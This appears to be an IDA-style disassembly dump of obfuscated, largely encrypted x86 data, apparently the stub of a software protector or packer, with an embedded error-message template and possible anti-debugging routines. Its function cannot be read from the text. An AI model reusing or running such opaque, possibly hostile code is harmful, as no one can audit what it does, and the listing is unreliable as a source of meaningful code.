		dd 0E56D1B00h, 0F05F6275h, 91F37BF6h, 97E89AD3h, 58BA6640h
		dd 6A405FB4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 38C0C351h, 0F0091599h,	778589F0h
		dd 0B5061502h, 8D346AA8h, 1216B585h, 0B5FF5006h, 6150277h
		dd 95FF006Ah, 6122341h,	0F07F883h, 16884h, 0DB8C6600h
		dd 0F04C3F6h, 10285h, 7185C600h, 56061228h, 0A8B85268h
		dd 0B1B5FF9Ch, 8D061203h, 123B5D85h, 6AD0FF06h,	10006804h
		dd 646A0000h, 0D0FF006Ah, 2EA8589h, 85C60615h, 6122871h
		dd 0AC9B6847h, 0B5FFEC18h, 61203B1h, 3B5D858Dh,	0D0FF0612h
		dd 0F08BD0FFh, 287185C6h, 684F0612h, 0C62F2661h, 22EDB5FFh
		dd 858D0612h, 6123B5Dh,	9D8DD0FFh, 61502E6h, 56286A53h
		dd 0C085D0FFh, 85C60075h, 6122871h, 64986841h, 0B5FFDB87h
		dd 61222EDh, 3B5D858Dh
		dd 0D0FF0612h, 3038589h, 85C60615h, 6122871h, 0E7A4684Ch
		dd 0B5FF80A4h, 61222EDh, 3B5D858Dh, 0D0FF0612h,	2EA9D8Bh
		dd 5B8D0615h, 9D8D5304h, 61502EFh, 0FF006A53h, 0EA9D8BD0h
		dd 0C7061502h, 103h, 0C43C700h,	2, 15A19D8Bh, 85C70612h
		dd 6120965h, 0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 61502EAh, 0FF006A53h, 1502E6B5h, 395FF06h, 0C6061503h
		dd 12287185h, 97684506h, 0FF92A5F7h, 121D39B5h,	5D858D06h
		dd 0FF06123Bh, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 1502EA9Dh, 0C43C706h, 0
		dd 6A006Ah, 2EA9D8Bh, 6A530615h, 0E6B5FF00h, 0FF061502h
		dd 15030395h, 0E6B5FF06h, 0FF061502h, 121BA195h, 0FF006A06h
		dd 1230FD95h, 598D2906h, 89061211h, 1217619Dh, 0EC858D06h
		dd 6A061536h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0A210C350h, 40A9F794h,	0ED95233Dh
		dd 8B06122Ch, 121F65BDh, 6A5006h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0DEFB95C3h, 0FE9h, 0D2021000h
		dd 0E689118Bh, 514798F8h, 28AAC116h, 35FF64h, 9000000h
		dd 122EDD8Dh, 25896406h, 0
		dd 99BD83F9h, 6120Dh, 4E840Fh, 81660000h, 830BABCAh, 1207ADBDh
		dd 850F0106h, 3Ch, 14E9h, 2809FD00h, 5CC5CE72h,	0F3F70EBAh
		dd 0A1E2D6Dh, 0B90A5D3Ch, 3BD80DBh, 61507h, 16850Fh, 95890000h
		dd 61222E5h, 141E9h, 0E2816600h, 952398E9h, 6122EEDh, 958BDB33h
		dd 6122EF5h, 9509C033h,	6122D85h, 73F0F40h, 58F640Bh, 0
		dd 6004C483h, 27FDBB66h, 94BD65BAh, 6A6103h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0F06344C3h
		dd 0FFFB83CAh, 19840Fh,	6EBA0000h, 0F76D278h, 589h, 0C7816600h
		dd 0C5E90F9Eh, 66000000h, 0E9B214BAh, 72h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8DC35141h, 4A3036BDh
		dd 0CDAB1356h, 0E18166DAh, 4C8B9108h, 81C70C24h, 0A4h
		dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
		dd 0
		dd 0EED815Dh, 8B061537h, 0B883h, 88858D00h, 89061537h
		dd 0B883h, 0C0335D00h, 0FFB70FC3h, 158DBD8Bh, 858D0612h
		dd 6153704h, 2AE1B589h,	0F500612h, 0FF64D3B7h, 35h, 25896400h
		dd 0
		dd 0DCF6BA66h, 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h
		dd 8685D465h, 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h
		dd 0A75564Dh, 97185C7h,	10612h,	8F640000h, 5, 4C48300h
		dd 19259589h, 0BD890612h, 6121A29h, 0E8C08BF8h,	12h, 0D206CA5Ah
		dd 5805087h, 5644344h, 62FE0A70h, 9D8998DAh, 6121789h
		dd 91BD835Ah, 6121Bh, 0BD830975h, 61217DDh, 50197400h
		dd 0B8C08B53h, 43Dh, 22958589h,	9D8D0612h, 614AE76h, 585BD3FFh
		dd 17DDBD83h, 74000612h, 0B8535017h, 43Dh, 22958589h, 9D8D0612h
		dd 614AB17h, 585BD3FFh,	958BB6B2h, 6121999h, 47E9C08Bh
		dd 4000001h, 31000000h,	3031392Eh, 7 dup(0)
		dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
		dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h
		dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch
		dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh
		dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh
		dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h
		dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h
		dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh
		dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h
		dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h
		dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh
		dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h
		dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h
		dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h
		dd 3D202020h, 0A642520h, 0BD83000Dh, 6121A15h, 2D840F00h
		dd 8D000001h, 14A92E85h, 858D5006h, 614A898h, 16850h, 95FF8000h
		dd 614A93Eh, 3819858Dh,	8D500615h, 15382385h, 6A5006h
		dd 858D006Ah, 614A8ACh,	2EB5FF50h, 0FF0614A9h, 12176595h
		dd 19858D06h, 50061538h, 3827858Dh, 6A500615h, 8D006A00h
		dd 14A8BE85h, 0B5FF5006h, 614A92Eh, 176595FFh, 858D0612h
		dd 6153819h, 33858D50h,	50061538h, 6A006Ah, 0A90B858Dh
		dd 0FF500614h, 14A92EB5h, 6595FF06h, 8D061217h,	15381985h
		dd 858D5006h, 615383Bh,	6A006A50h, 29858D00h, 500614A9h
		dd 0A92EB5FFh, 95FF0614h, 6121765h, 3819858Dh, 8D500615h
		dd 15383785h, 6A5006h, 858D006Ah, 614A912h, 2EB5FF50h
		dd 0FF0614A9h, 12176595h, 19858D06h, 50061538h,	382B858Dh
		dd 6A500615h, 8D006A00h, 14A91A85h, 0B5FF5006h,	614A92Eh
		dd 176595FFh, 858D0612h, 6153819h, 2F858D50h, 50061538h
		dd 6A006Ah, 0A921858Dh,	0FF500614h, 14A92EB5h, 6595FF06h
		dd 0FF061217h, 14A92EB5h, 0A195FF06h, 0E9061218h, 0A2h
		dd 0E85BD83h, 0F000612h, 9584h,	0ADBD8300h, 61207h, 11850Fh
		dd 958B0000h, 61209C1h,	1CF8C281h, 0FE90000h, 8D000000h
		dd 12212D95h, 34528B06h, 0C340C281h, 95893BD4h,	6122411h
		dd 2411BD83h, 0F000612h, 5584h,	119D8B00h, 83061224h, 38B4CC3h
		dd 38238589h, 9D8B0615h, 6122411h, 8B50C383h, 27858903h
		dd 8B061538h, 1224119Dh, 54C38306h, 8589038Bh, 6153833h
		dd 24119D8Bh, 0C3830612h, 89038B58h, 15383785h,	119D8B06h
		dd 83061224h, 38B5CC3h,	382B8589h, 0BD830615h, 6121A15h
		dd 0D850F00h, 83000000h, 120E85BDh, 840F0006h, 68h, 383BB5FFh
		dd 0B5FF0615h, 615382Fh, 382BB5FFh, 0B5FF0615h,	6153837h
		dd 3833B5FFh, 0B5FF0615h, 6153827h, 3823B5FFh, 858D0615h
		dd 615381Dh, 55858D50h,	50061538h, 0A31858Dh, 0FF500612h
		dd 12237195h, 24C48306h, 858D406Ah, 615383Fh, 31858D50h
		dd 5006120Ah, 95FF006Ah, 6122341h, 95FF016Ah, 61230FDh
		dd 18EBC18Bh, 9B46F317h, 5 dup(0)
		dd 20BE9h, 5C8B6000h, 0E82424h,	5D000000h, 3BE9ED81h, 0C2610615h
		dd 0E6E90004h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh
		dd 0F6E90008h, 0FFFFFFh, 0
		dd 60000000h, 0F8E9C361h, 8BFFFFFFh, 153C21B5h,	0E68106h
		dd 0E9FFFFF0h, 0Bh, 19E8h, 0C68100h, 3B000010h,	153C25B5h
		dd 0E9860F06h, 0FFFFFFFh, 220FD820h, 6160CFD8h,	8C6650C3h
		dd 0A0324C8h, 19840FC0h, 50000000h, 2BB53h, 858B0000h
		dd 6122411h, 0DB0A1886h, 0FFF6850Fh, 585BFFFFh,	2404FF58h
		dd 0FFCFE9C3h, 0FF50FFFFh, 0FF082474h, 12190595h, 10F5006h
		dd 58FE244Ch, 531CC083h, 0C245C8Bh, 0FC588966h,	2588966h
		dd 0C88C665Bh, 0C00A0324h, 9840Fh, 858B0000h, 6122411h
		dd 580000C6h, 0C22404FFh, 0BBE90004h, 53FFFFFFh, 0CB8C6650h
		dd 0A03E380h, 38840FDBh, 0BB000000h, 2,	2411858Bh, 18860612h
		dd 850FDB0Ah, 0FFFFFFF6h, 289585C7h, 612h, 448B0000h, 988B0824h
		dd 1000h, 10009889h, 188B0000h,	0AE91889h, 0C7000000h
		dd 12289585h, 10006h, 0FF5B5800h, 0E9C32404h, 0FFFFFFA3h
		dd 3E8060h, 31840Fh, 0A1BB0000h, 0B0763AB7h, 0E901B101h
		dd 13h,	2C88AACh, 0D1C332C3h, 0D20BAACBh, 1840Fh, 0A4A0000h
		dd 0E5850FC9h, 0BFFFFFFh, 0DD850FD2h, 61FFFFFFh, 0D48B52C3h
		dd 87A8B57h, 1E9C033h, 0AA000000h, 0F003F80h, 0FFFFF685h
		dd 0C25A5FFFh, 51530004h, 33C03356h, 10E9DBh, 33AC0000h
		dd 81D3D1D8h, 465ABCC3h, 0D3C88A37h, 0C90B49D3h, 0FFE8850Fh
		dd 0C38BFFFFh, 0C35B595Eh, 0B7A1BB60h, 1B0763Ah, 11E9h
		dd 0C332AC00h, 0CBD1C32Ah, 0FD20BAAh, 184h, 0C00A4A00h
		dd 0FFE7850Fh, 0D20BFFFFh, 0FFDF850Fh, 0C361FFFFh, 0A8D88C66h
		dd 29840F04h, 0C7000000h, 153BC685h, 106h, 10F5000h, 8FFE244Ch
		dd 153BCA85h, 0C2858D06h, 8D06153Bh, 153BCABDh,	0E9388906h
		dd 23h,	212D858Dh, 408B0612h, 0F3170538h, 85899B46h, 6153BC2h
		dd 212D858Dh, 408B0612h, 0C685893Ch, 8D06153Bh,	153BDF85h
		dd 5858906h, 0E9061219h, 87h, 60D48B52h, 8B08728Bh, 0B2B80C7Ah
		dd 0E9A945CAh, 7, 6300600h, 3B46C8D1h, 0F1820FF7h, 61FFFFFFh
		dd 8C25Ah, 60D48B52h, 8B08728Bh, 0B2B80C7Ah, 0E9A945CAh
		dd 7, 6280630h,	3B46C8D1h, 0F1820FF7h, 61FFFFFFh, 8C25Ah
		dd 56D48B52h, 0DB335351h, 8B08728Bh, 13E90C4Ah,	0AC000000h
		dd 840F2D3Ch, 0Ah, 13349804h, 0C3C1D832h, 0C90B4908h, 0FFE5850Fh
		dd 0C38BFFFFh, 5A5E595Bh, 8D0008C2h, 153E5285h,	9D858906h
		dd 8D061210h, 153E7A85h, 0B5858906h, 8D061212h,	153EA285h
		dd 0B5858906h, 60061205h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 3BC35040h, 8B595732h,	50006AC0h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 62790B91h, 0CE80CE8Ah, 91BD838Bh, 6121Bh, 0BD830975h
		dd 61217DDh, 50197400h,	0B8C08B53h, 40Eh, 858589h, 9D8D0612h
		dd 614AE0Fh, 585BD3FFh,	17DDBD83h, 74000612h, 0B8535017h
		dd 40Eh, 858589h, 9D8D0612h, 614AAFEh, 585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 40C35747h, 764359Eh
		dd 0F9C06354h, 14E9h, 60B6DC00h, 0DFC9A0FFh, 0A50DFE6Fh
		dd 0AD6D734Dh, 8BA8D650h, 53006A57h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 12E95Fh, 77B60000h
		dd 0F4509BDAh, 0A818F5C8h, 13CEB84Dh, 91E3A543h, 6AC08Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 39FC54C3h, 52A0A2A4h, 83F93FA3h, 120D99BDh, 840F0006h
		dd 34h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h
		dd 42C35242h, 4120E95Ch, 217E9C3h, 0F500000h, 686h, 0A7EA8100h
		dd 5E6EE71Ch, 8166DF8Ch, 667076D2h, 4C7F7h, 1F7850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0DF0735C3h, 0D3B70F1Dh, 53DBD83h, 0F000612h,	4785h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 492DC609h, 0A2E9F2D1h, 6A000001h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0CDF3C353h, 9F6A0612h, 0BA66FF2Bh, 9D8D2363h, 6154246h
		dd 28DA8166h, 0D68B937Eh, 5517BA50h, 6A930596h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 8731C351h, 21F2A4C9h, 35FF64A8h, 0
aFQdi		db 'f¾ºïd‰%',0
		dd 0E9000000h, 10h, 0D0C1FC3Ch,	8F00A32Dh, 0FB89BCDDh
		dd 312C7C52h, 0F60C48Bh, 88h, 0C68A5600h, 1CD6159h, 6A00EBh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0DE927C3h, 4C000000h, 20E9FD1h, 0E52673F0h, 4E622A70h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A4C35747h
		dd 9DA11F41h, 666073B5h, 6691CFBBh, 6461C88Bh, 58Fh, 0AE80000h
		dd 7A000000h, 0AB380206h, 2BA43070h, 0F1F8BE9Eh, 835E0733h
		dd 0F96004C4h, 9E9h, 0DB339A00h, 5D5E71F3h, 0B61AF64h
		dd 7A840FC0h, 0E9000000h, 11h, 43140062h, 12C8CB34h, 0C3FB4873h
		dd 2034BA42h, 8B5061A2h, 0BD8D5AF0h, 6127277h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 10C35545h, 0CDB944CBh
		dd 1B8F0h, 0BF0F0000h, 66E7FFF1h, 0EABE981h, 245C8B57h
		dd 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h
		dd 0B883h, 335F0200h, 0D280C3C0h, 0B588B236h, 5E961E8h
		dd 0E5000000h, 0FB83510Ah, 0BD83C08Bh, 6121B91h, 83097500h
		dd 1217DDBDh, 19740006h, 0C08B5350h, 40EB8h, 95858900h
		dd 8D061222h, 14AE769Dh, 5BD3FF06h, 0DDBD8358h,	61217h
		dd 53501774h, 40EB8h, 95858900h, 8D061222h, 14AB179Dh
		dd 5BD3FF06h, 9CEA8058h, 4830Fh, 0B9660000h, 0FF92C9Bh
		dd 289h, 8B66B500h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5CF0E5A6h, 0C840Fh, 870F0000h
		dd 6, 830Fh, 0C28B0000h, 10E8h,	74792500h, 5CD6C10h, 0B35FDB0Fh
		dd 0ECBB9ADCh, 605AFC98h, 49E98166h, 5AC7BEA6h,	816152A6h
		dd 6BBEC2h, 8EBB6600h, 1AC5B8F8h, 97BB0000h, 8B187641h
		dd 0D8BF0F32h, 37FCF681h, 10E929FCh, 0B3000000h, 0EEDAD0D8h
		dd 0C700ABE8h, 0B0133577h, 81CC6673h, 809E33C6h, 0CEBF0F5Eh
		dd 0E715EE81h, 89F50A62h, 54C18132h, 8336A54Eh,	4AF903EAh
		dd 0BBDF7FBBh, 1E88372h, 16850Fh, 0EF810000h, 59E5D926h
		dd 26E9h, 74AA0500h, 21DFBB4Bh,	0B84EFC13h, 0E9AACB80h
		dd 0FFFFFF97h, 0A239D258h, 649DB663h, 0AB4C9AEFh, 1FF8F334h
		dd 0EB6CDA9Eh, 8, 0
		dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 0AD858B24h
		dd 8D061207h, 1572D185h, 8B088B06h, 100088h, 660A8B00h
		dd 89FC4A8Bh, 1543CB8Dh, 3DBD8306h, 61205h, 0F840Fh, 6A600000h
		dd 0CD95FF00h, 61061219h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh
		dd 2728966h, 5A04CD52h,	43C78589h, 0B58B0615h, 61543CBh
		dd 6610CEC1h, 8B027289h, 1543CBB5h, 72896606h, 858B61FCh
		dd 61543C7h, 0E1958DC3h, 89061226h, 12241195h, 0A5958906h
		dd 0FF061203h, 1203A585h, 7185C606h, 53061228h,	0B148D868h
		dd 0B1B5FFFCh, 8D061203h, 123B5D85h, 89D0FF06h,	1219CD85h
		dd 0F9858D06h, 8906153Bh, 1214A585h, 20EB06h, 7	dup(0)
		dd 0E9000000h, 55Eh, 552E9h, 46216800h,	36E90615h, 68FFFD3Bh
		dd 61546BFh, 0FD3B2CE9h, 48BE68FFh, 22E90615h, 68FFFD3Bh
		dd 6154924h, 0FD3B18E9h, 9703F6FFh, 0AB1509F9h,	0C3251D0Dh
		dd 0D93F3525h, 0EE564B3Bh, 1684E350h, 2B1BB921h, 4232D034h
		dd 5B4BE949h, 66650361h, 4B6C9405h, 607375FEh, 0B5170F0Eh
		dd 73561B2h, 946DEFE9h,	7D89E0B4h, 35D0581Dh, 76000000h
		dd 0E9074774h, 0DED4AA6Fh, 345CCD78h, 3B6FE907h, 70683EDh
		dd 8360D17Ch, 9269FC42h, 9103A644h, 8A149463h, 8A51BBAFh
		dd 26h,	0B61E13E9h, 0B7F35DB3h,	0E9074874h, 0CFB2B96Fh
		dd 1C7275D7h, 8B68D984h, 0FA69FC42h, 380C01B0h,	0DB7318C2h
		dd 170FE93Dh, 10810AB5h, 6FE907E8h, 5C3FA9F7h, 16F9EC0Bh
		dd 0E1C17A10h, 1AB81A12h, 0A2998885h, 8AFBA63Eh, 0EFE9165Eh
		dd 8EF6EBC1h, 453D358Bh, 208AE0E3h, 3AF0F341h, 6137E240h
		dd 0AE040769h, 3A31C644h, 0BA8BFCA7h, 0D3E9FAF0h, 5318285h
		dd 1BE9D6EFh, 0AC0C321h, 0BEB7AF13h, 47FE5B5Eh,	4922F867h
		dd 673E9569h, 6A85520Bh, 0DC000000h, 0A7AA1006h, 6AABE751h
		dd 0C435E063h, 69FC45CCh, 845A0553h, 4A43198Ah,	0FE91E7EAh
		dd 75FE4AD6h, 61FF97E5h, 27197771h, 7361B131h, 408E3316h
		dd 30000003h, 4333D13Dh, 5747E54Fh, 6F5FFD5Fh, 85751379h
		dd 1D8A2890h, 0F35B50C2h, 0A6E6555h, 23837C6Ch,	3D9B9585h
		dd 0CE3FA09Fh, 75FE4DA6h, 2050A2B5h, 30Bh, 0B5170FCEh
		dd 73561B2h, 4B06FE9h, 7F6FE907h, 6FE90754h, 0C48C43B5h
		dd 3C3F0BBBh, 0E7EA4C44h, 88B42791h, 0EB6FE9EAh, 27B27079h
		dd 9C06AC6Dh, 0E96FFD29h, 704C786Fh, 0D9AFAFE9h, 991680E0h
		dd 0DB640F92h, 0A6A90F05h, 3673E650h, 6729FE68h, 0B0BB1619h
		dd 0C4158631h, 0E5300F94h, 5EB1A597h, 0A78AB970h, 2A202h
		dd 6FDBCE00h, 83EDE1D1h, 9BFDF5E5h, 0B1170DFDh,	0C62E2313h
		dd 0EE5CBB28h, 3F391F9h, 1A0AA80Ch, 3323C121h, 3E3DDB39h
		dd 4D446CDDh, 384B75FEh, 0B7150FE6h, 51C24BB4h,	6FE90729h
		dd 0DDDC4037h, 0A5A8258Fh, 78EA731Eh, 7F696C2Ch, 37AA14EDh
		dd 69FC727Eh, 0B3A3418Fh, 3CAE59BBh, 0AA11D85Ch, 17E3E1AEh
		dd 0A9A1FC90h, 15187E74h, 3FBD27BFh, 69D1C69Ch,	0CEA61066h
		dd 978B61D6h, 83729A2Dh, 2B7975FEh, 36359093h, 0C18E00ABh
		dd 141278CEh, 0DD4ED943h, 7012041Ch, 386F881h, 2BA73AB2h
		dd 0FC173FD2h, 352D6FE9h, 1C86D4D3h, 0C651EF3Dh, 6FE9FC9Ah
		dd 0D681000Bh, 0FD37A065h, 0E893E169h, 1CBA1812h, 29D4322Ch
		dd 0B8072FA0h, 0C81675FEh, 0D3C6A634h, 0F7619E36h, 0E1D5AB14h
		dd 27BF1D17h, 0F164CE24h, 75FE47B5h, 11BC4746h,	57BBB288h
		dd 2194FE54h, 70118350h, 8A600B59h, 0A4943290h,	0F8494CAAh
		dd 6FE90BBCh, 4B433E2Dh, 0F890E6E9h, 0F452C44Dh, 0B44AA59Bh
		dd 67426AFDh, 0FB496FE9h, 0D4950691h, 0F569FCA2h, 2C5ADBABh
		dd 773ED234h, 0DF8A228Eh, 0C89E0F09h, 13696CD2h, 0FE525880h
		dd 81196775h, 415264D6h, 0D912AE07h, 0DD27AE45h, 0CE382A03h
		dd 8666050h, 20A3AA05h,	43A99F75h, 0F580EA40h, 1230A784h
		dd 7F744A70h, 80CEAD17h, 0B1002C7Dh, 75386FE9h,	1BD66C03h
		dd 359FE5F4h, 5C32B494h, 0BA970165h, 0D81DB363h, 15AAh
		dd 48745000h, 6F6FE91Ch, 10h, 0D8D45CCEh, 53522089h, 4874ADE9h
		dd 0FA6FE91Dh, 35E0636Ah, 0FC430BC4h, 19C41269h, 4BF71F90h
		dd 0E95A75FEh, 75FE4BC1h, 2D7B7AC8h, 0A177E0C3h, 0DD4649A7h
		dd 0FE4B446Ch, 65FD4B75h, 0F48F7EFBh, 0C637C049h, 75FE4B9Eh
		dd 0A309FFADh, 0B51F130Bh, 708FD84Bh, 509E7010h, 6F8AEE5Eh
		dd 0B1563979h, 0A3h, 0D06EDACDh, 0E482ECE0h, 0FC9AFCF4h
		dd 12B0160Ch, 27C52D22h, 0F8ED5FBAh, 0B02F290h,	201909A7h
		dd 383222C0h, 0DC3D3CDAh, 0FE4F436Bh, 0E5374A75h, 35E0636Ah
		dd 0FC430BC4h, 98F46669h, 0FED9C554h, 0F745248Eh, 0F9299F4h
		dd 426ADB64h, 4975FE2Ah, 950691FBh, 701040C8h, 0A1998BD9h
		dd 6A796FBBh, 3DE287h, 40330000h, 524636D4h, 625A4AE8h
		dd 7C726200h, 93887816h, 0C1208D2Bh, 58F65E53h,	6F0D7168h
		dd 8826867Fh, 0A2409E98h, 0A9D142A3h, 0B075FE50h, 865C4B9Dh
		dd 0F7BE2892h, 3, 0F5995A5h, 0F7ADB01Ch, 0E69C9FFDh, 0D48A8DEDh
		dd 0C07679DDh, 0AA6063CBh, 944A4DB5h, 7F35389Eh, 6C222587h
		dd 4D0B0E78h, 5EDB68h, 242C8900h, 33D768h, 242C8900h, 723E68h
		dd 24048900h, 48896856h, 0F75E6C4Ah, 0B4EE81D6h, 8154C133h
		dd 4952CFCEh, 18C68164h, 89871771h, 24348BF5h, 5404C483h
		dd 8124048Bh, 4C4h, 0E9895100h,	24048151h, 3EB316DAh, 8108408Fh
		dd 16DA0868h, 0FF593EB3h, 81582434h, 4C4h, 242C8B00h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFD35F9h, 6134E13Dh
		dd 630B7343h, 0B8DC04A9h, 6154986h, 0C88BC503h,	54E900EBh
		dd 0E9000006h, 648h, 154AEC68h,	35CFE906h, 4568FFFDh, 0E906154Ch
		dd 0FFFD35C5h, 154CD068h, 35BBE906h, 0CE68FFFDh, 0E906154Dh
		dd 0FFFD35B1h, 154F1268h, 35A7E906h, 7467FFFDh,	867A6A08h
		dd 968E7E1Ch, 0B0A69634h, 0C7BCAC4Ah, 0F554C15Fh, 8C2A9287h
		dd 0A341A59Ch, 0BC5ABAB3h, 0D674D2CCh, 0DD0576D7h, 0EC75FE51h
		dd 487487D9h, 0C36FE907h, 6FE9079Bh, 0E907E30Eh, 7325E6Fh
		dd 80AD6FE9h, 0FD6FE907h, 0EFE907D1h, 0DB84B42h, 0FB0A6F9Ch
		dd 85307EE9h, 0B856B6AFh, 0C46FCFC8h, 9396F4EEh, 0EB4D453Dh
		dd 48439E81h, 4C9D0EB9h, 0B1F00D12h, 4A0B1D3Fh,	0D94AC628h
		dd 0EFE96AB1h, 68D26AB8h, 28493B89h, 0D1F97697h, 4C449EEh
		dd 8FB0000h, 1A0EFE9Ch,	2A2212B0h, 443A2AC8h, 5B5040DEh
		dd 89E855F3h, 20BE261Bh, 37D53930h, 50EE4E47h, 6A086660h
		dd 71990A6Bh, 7875FE51h, 150F1365h, 12830CB7h, 6FE907EAh
		dd 989B03F8h, 8BF54342h, 72A57A8h, 0BE476FE9h, 79CC435h
		dd 55A36FE9h, 9B6A4AEBh, 0B5A543A1h, 0A107FDBBh, 0ADB0489Eh
		dd 9C9FFDF7h, 1207DD80h, 0E751A7AAh, 9D976646h,	55ACA13Fh
		dd 4AD81D7Bh, 13168074h, 251A53BDh, 71000004h, 0D53FA59Bh
		dd 0BB150F99h, 9264169h, 81E5DCB3h, 0FC90287Eh,	0AC2C9A7Dh
		dd 4245DD36h, 0E9F3C4F1h, 0D3A9146Fh, 1C7275DFh, 0C1598488h
		dd 2D97C1ECh, 542AAC8Ch, 0B58DF75Fh, 0C0BF5DBBh, 3D65D65Fh
		dd 4C6FE923h, 980994FEh, 6FE92370h, 0B086317Fh,	9EC56B8h
		dd 72D0CAA0h, 77373008h, 0C41A1D7Fh, 7174D2CCh,	42E5831Bh
		dd 8014726Ch, 3BD77FA2h, 2A026CCFh, 157D7230h, 7924BC12h
		dd 0DE48ACA3h, 262092FBh, 57C353C7h, 0BE198F78h, 0F08821DDh
		dd 7C0D0986h, 96F4EEDEh, 82E6DD93h, 0FB2D59E4h,	1E906FE9h
		dd 5D9693E7h, 5C84F539h, 636FE9EBh, 3B137D15h, 74DDE044h
		dd 0DC46A49Eh, 2AD56C5Fh, 0FBE74CB9h, 9D8FDD69h, 736419CAh
		dd 6B93381Bh, 54000003h, 6757F561h, 7B6B0973h, 93832183h
		dd 0A999379Dh, 41AE4CB4h, 177F74E6h, 2E928979h,	47A7A090h
		dd 61BFB9A9h, 0F263C4C3h, 75FE53CAh, 0F6CBED1h,	4BB4B715h
		dd 97087D75h, 6FE9076Fh, 2E98307Eh, 0FBFE5C56h,	3FEA4E45h
		dd 0A0D7369h, 41CC4AB4h, 6FE906D5h, 0E917A4D0h,	5FC3BA6Fh
		dd 17DF0B5Ch, 5D506FE9h, 770B6F66h, 7FA0F7EBh
		dd 0E7922ACFh, 0FB27C976h, 62562C69h, 359FF5F8h, 0CF160856h
		dd 8A7364F9h, 2E002A7h,	0ECDF0000h, 0FEF2E280h,	0E06F694h
		dd 281E0EACh, 3F3424C2h, 6DCC39D7h, 4A20AFFh, 1BB91D14h
		dd 34D2322Bh, 4EEC4A44h, 557DEE4Fh, 6475FE53h, 150FFF51h
		dd 12830CB7h, 6FE907EAh, 5639A3F1h, 4548A6A0h, 3134988Fh
		dd 1C1F857Bh, 70DACEC6h, 5CC0B76Dh, 86FF0359h, 83973BA6h
		dd 0B88F8DC4h, 2909C220h, 5702605Ah, 7C278981h,	0E9B1E30Bh
		dd 329CEA6Fh, 2468BFB4h, 49AFD81Eh, 55000002h, 0E9074874h
		dd 9655E6Fh, 736B3598h,	24B80E11h, 0CD655334h, 0E6463F2Fh
		dd 0D4342DE3h, 0BE261BD1h, 0A71105BBh, 8969E2A4h, 0A719BC1Ah
		dd 6E67B99Ch, 21B50B0Eh, 42AC7B87h, 693FC1A1h, 17E91371h
		dd 0F3E6A96h, 0B41E7477h, 0E583E3DCh, 0EAE3B942h, 0EACFF78Ah
		dd 30DE6FE9h, 7FD5D836h, 49A07DE7h, 90D81E5Eh, 48h, 0E0636A36h
		dd 32F3C435h, 0EC3A69FBh, 64C6E1FAh, 0DC816473h, 1E2h
		dd 0E07EEADDh, 0F492FCF0h, 0CAA0C04h, 22C0261Ch, 37D53D32h
		dd 8FD6FCAh, 1B1202A0h,	302919B7h, 484232D0h, 0EC4D4CEAh
		dd 0FE54537Bh, 0F5475A75h, 8D169F00h, 5A5DBFB7h, 7497104h
		dd 2506FE9h, 6F52598h, 0B3146FE9h, 0E9071A42h, 3BD3216Fh
		dd 0FFC3BA90h, 0A0DA507h, 0B1674AB4h, 0CABA58B8h, 350176D0h
		dd 8F63E638h, 0AE4B73E4h, 4526FE9h, 100E696Ch, 0AED5FD6Eh
		dd 96E46FE9h, 777060FEh, 8F897917h, 81782E31h, 1F807F1Dh
